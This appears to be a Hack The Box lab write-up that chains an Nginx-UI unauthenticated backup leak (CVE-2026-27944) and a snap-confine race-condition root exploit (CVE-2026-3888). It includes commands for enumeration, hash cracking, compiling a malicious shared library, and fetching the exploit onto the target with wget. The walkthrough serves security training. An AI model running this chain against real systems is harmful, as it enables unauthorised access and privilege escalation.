Tools: Hack The Box - Snapped Writeup (2026)

Tools: Hack The Box - Snapped Writeup (2026)

Overview

Reconnaissance

Initial Web Enumeration

Subdomain Discovery

Exploitation — CVE-2026–27944 (Nginx-UI Unauthenticated Backup Disclosure)

What is the vulnerability?

Setting up the exploit

Running the exploit

Initial Access

Finding credentials in the backup

Cracking the hash

SSH as jonathan

Privilege Escalation — CVE-2026–3888 (snap-confine TOCTOU LPE)

Discovering snap

What is the vulnerability?

Setting up the exploit

Transferring to the target

Getting root

Conclusion Machine: Snapped Difficulty: Hard OS: Linux Snapped is a hard-difficulty Linux machine that chains two recent CVEs to go from

unauthenticated access all the way to full root. The scan reveals two open TCP ports: SSH (22) and HTTP (80). The HTTP serverredirects to http://snapped.htb, so we add that to our hosts file. The main site at snapped.htb is a static page with no obvious attack surface. Time tolook for virtual hosts. We use ffuf to brute-force virtual hosts, filtering responses with the same size asthe default "not found" page (154 bytes): We find a valid subdomain: admin. Add it to /etc/hosts and navigate to it. The subdomain serves a Nginx-UI admin panel — a third-party web interface formanaging Nginx configurations. Nginx-UI exposes a /api/backup endpoint that creates and serves a full archive of allNginx and Nginx-UI configuration files — including its internal SQLite database, SSLprivate keys, and session tokens. The critical flaw is two-fold: This means an attacker can download the backup and immediately decrypt it in a singleunauthenticated HTTP request. There is no need to brute-force or guess anything at thisstage. We need pycryptodome because the backup uses AES encryption, and the script needsthis library to decrypt the archive using the key extracted from the response header. Under the hood, the script does the following: After exploring backup_extracted/, we find a SQLite database file — this is Nginx-UI'sinternal user database. We can inspect it directly: We find a user jonathan with a bcrypt password hash: Save this to hash.txt and crack it offline with Hashcat. Bcrypt is slow by design(mode -m 3200), but weak passwords are still crackable: ![Hashcat Results(https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2e4bb97jgutf2bncf7yp.png) The password cracks successfully: linkinpark ✅ User flag captured. We can see snapd running on the system. Let's check its version: The version is 2.63.1, which is vulnerable to CVE-2026–3888. This is a TOCTOU (Time-of-Check to Time-of-Use) race condition. Here's what normallyhappens when a snap application starts: The race condition arises between steps 2 and 3: after systemd-tmpfiles deletesthe stale directory, but before snap-confine re-creates and uses it, an attacker canrecreate the directory with attacker-controlled content. If snap-confine thenbind-mounts this poisoned directory into the snap sandbox, it will use the attacker'sfake shared libraries. Because snap-confine is SUID root, hijacking its dynamic linker means we canexecute arbitrary code as root. Winning the race consistently is the hard part. The exploit uses an AF_UNIX sockettrick: by applying backpressure on a socket that snap-confine is trying to write to,we can pause its execution at precisely the right point in the bind-mount sequence —giving us a reliable window to swap in our malicious directory before it proceeds. The librootshell.so is a fake shared library. When snap-confine (running as root)loads it via the hijacked dynamic linker, it executes our payload — spawning a root shell. On your machine, start a simple HTTP server: On the target machine: The exploit may take a few minutes — it is actively racing against systemd-tmpfilesand snap-confine. Once it wins the race and the shared library is loaded, you'll geta root shell. ✅ Root flag captured. Snapped is an excellent machine for understanding how real-world CVEs work incombination. A few key takeaways: CVE-2026–27944 is a reminder that authenticated endpoints must be enforcedserver-side — not assumed. Returning a decryption key in the same response as theencrypted data completely undermines any notion of confidentiality. CVE-2026–3888 demonstrates why TOCTOU bugs in privileged binaries are sodangerous. The combination of a SUID binary, a predictable temporary directory, and ascheduled cleanup daemon creates a reliable exploitation window. The AF_UNIX sockettrick to slow down execution is an elegant technique worth understanding in depth. Together, they show how an entirely unauthenticated attacker on port 80 can become

root on a Linux system through a well-researched chain. Templates let you quickly answer FAQs or store snippets for re-use. Hide child comments as well For further actions, you may consider blocking this person and/or reporting abuse

Code Block

Copy

nmap [target-ip] -sV -sC -o scans/nmap nmap [target-ip] -sV -sC -o scans/nmap nmap [target-ip] -sV -sC -o scans/nmap echo "[target-ip] snapped.htb" | sudo tee -a /etc/hosts echo "[target-ip] snapped.htb" | sudo tee -a /etc/hosts echo "[target-ip] snapped.htb" | sudo tee -a /etc/hosts ffuf -u http://snapped.htb -H "Host: FUZZ.snapped.htb" \ -w /usr/share/wordlists/dirb/common.txt -fs 154 ffuf -u http://snapped.htb -H "Host: FUZZ.snapped.htb" \ -w /usr/share/wordlists/dirb/common.txt -fs 154 ffuf -u http://snapped.htb -H "Host: FUZZ.snapped.htb" \ -w /usr/share/wordlists/dirb/common.txt -fs 154 nano cve.py python3 -m venv venv source venv/bin/activate pip install pycryptodome nano cve.py python3 -m venv venv source venv/bin/activate pip install pycryptodome nano cve.py python3 -m venv venv source venv/bin/activate pip install pycryptodome python3 cve.py --target http://admin.snapped.htb --out backup.bin --decrypt python3 cve.py --target http://admin.snapped.htb --out backup.bin --decrypt python3 cve.py --target http://admin.snapped.htb --out backup.bin --decrypt sqlite3 database.db .tables SELECT * FROM users; sqlite3 database.db .tables SELECT * FROM users; sqlite3 database.db .tables SELECT * FROM users; $2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq $2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq $2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt ssh [email protected] cat /home/jonathan/user.txt ssh [email protected] cat /home/jonathan/user.txt ssh [email protected] cat /home/jonathan/user.txt snap version snap version snap version git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE.git cd CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE # Compile the main exploit binary (statically linked so it runs without deps) gcc -O2 -static -o exploit exploit_suid.c # Compile the malicious shared library that will be injected gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE.git cd CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE # Compile the main exploit binary (statically linked so it runs without deps) gcc -O2 -static -o exploit exploit_suid.c # Compile the malicious shared library that will be injected gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE.git cd CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE # Compile the main exploit binary (statically linked so it runs without deps) gcc -O2 -static -o exploit exploit_suid.c # Compile the malicious shared library that will be injected gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c python3 -m http.server 80 python3 -m http.server 80 python3 -m http.server 80 wget http://<your-ip>/exploit wget http://<your-ip>/librootshell.so chmod +x exploit wget http://<your-ip>/exploit wget http://<your-ip>/librootshell.so chmod +x exploit wget http://<your-ip>/exploit wget http://<your-ip>/librootshell.so chmod +x exploit ./exploit librootshell.so ./exploit librootshell.so ./exploit librootshell.so cat /root/root.txt cat /root/root.txt cat /root/root.txt - CVE-2026–27944 — Nginx-UI unauthenticated backup endpoint that returns its own decryption key, leaking credentials from the internal database. - CVE-2026–3888 — A TOCTOU race condition between snap-confine and systemd-tmpfiles, exploited via an AF_UNIX socket trick to hijack the dynamic linker on a SUID-root binary. - The endpoint requires no authentication — any external user can call it directly. - The backup archive is AES-encrypted, but the decryption key is returned in the X-Backup-Security response header of the very same request. - Sends a GET /api/backup request with no credentials. - Reads the X-Backup-Security header from the response to obtain the AES key. - Decrypts the backup archive using that key. - Extracts the contents to backup_extracted/. - snap-confine (a SUID-root binary that sets up the snap sandbox) creates a private working directory under /tmp/snap.*/. - systemd-tmpfiles periodically cleans up stale temporary directories — including those left behind by snap. - snap-confine then performs a bind-mount sequence, using that /tmp directory to set up the application's shared library environment.